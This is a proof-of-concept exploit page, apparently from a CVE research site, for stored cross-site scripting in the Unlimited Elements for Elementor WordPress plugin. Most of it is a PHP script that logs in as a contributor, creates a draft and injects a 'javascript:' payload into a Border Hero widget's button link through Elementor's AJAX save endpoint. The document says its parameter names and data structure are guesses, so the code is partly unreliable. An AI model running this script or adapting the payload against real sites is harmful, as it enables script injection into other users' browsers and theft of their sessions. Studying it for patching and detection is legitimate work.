CVE-2025-14274: Unlimited Elements for Elementor <= 2.0.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via Border Hero Widget (unlimited-elements-for-elementor)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14274 - Unlimited Elements for Elementor <= 2.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Border Hero Widget
<?php
/**
 * Proof of Concept for CVE-2025-14274.
 * Assumptions based on metadata:
 * 1. Exploitation occurs via the Elementor editor interface.
 * 2. The attack vector is the 'Button Link' field in the 'Border Hero' widget.
 * 3. Contributor-level authentication is required.
 * This script simulates the attack by logging in and attempting to save a post with a malicious widget.
 * Note: Without the actual plugin code, this PoC uses educated guesses for parameter names and data structure.
 */

$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor_user';
$password = 'contributor_pass';

// Payload to inject into the Button Link field
$malicious_link = 'javascript:alert(`Atomic Edge XSS: `+document.domain)';

// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve_14274_cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_14274_cookie.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Step 1: Authenticate as a Contributor
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);

// Check for login success by looking for a dashboard redirect or absence of login form
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die('[-] Authentication failed. Check credentials.');
}
echo '[+] Authentication successful.n';

// Step 2: Create a new post draft via the REST API to get a post ID and nonce
// Contributor users can create drafts via REST API (if permissions allow).
$api_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = json_encode([
    'title' => 'Test Post - CVE-2025-14274',
    'status' => 'draft',
    'content' => 'Post content.'
]);
curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
$response = curl_exec($ch);
$post_info = json_decode($response, true);
if (!isset($post_info['id'])) {
    die('[-] Failed to create draft post via REST API.');
}
$post_id = $post_info['id'];
echo '[+] Created draft post ID: ' . $post_id . 'n';

// Step 3: Simulate saving the post with Elementor containing the malicious widget.
// This step is highly speculative without the exact Elementor save structure.
// A real attack would use the Elementor editor AJAX endpoint.
$elementor_save_url = $target_url . '/wp-admin/admin-ajax.php';
// Assumed AJAX action for saving Elementor data. This is a common pattern.
$save_fields = [
    'action' => 'elementor_ajax',
    'actions' => json_encode([
        'action' => 'save_builder',
        'data' => [
            'post_id' => $post_id,
            'data' => [
                'elements' => [
                    [
                        'id' => 'some_element_id',
                        'elType' => 'widget',
                        'settings' => [
                            // Assumed widget type and field name based on description
                            '__widgetType' => 'border-hero',
                            'button_link' => $malicious_link // Injected payload
                        ],
                        'widgetType' => 'border-hero'
                    ]
                ]
            ]
        ]
    ])
];
curl_setopt($ch, CURLOPT_URL, $elementor_save_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($save_fields));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);

if (strpos($response, 'success') !== false) {
    echo '[+] Payload injected successfully.n';
    echo '[+] Visit the draft post at: ' . $target_url . '/?p=' . $post_id . ' to trigger the XSS.n';
} else {
    echo '[-] Payload injection may have failed. AJAX structure might differ.n';
    echo '[-] Raw response: ' . $response . 'n';
}

curl_close($ch);
?>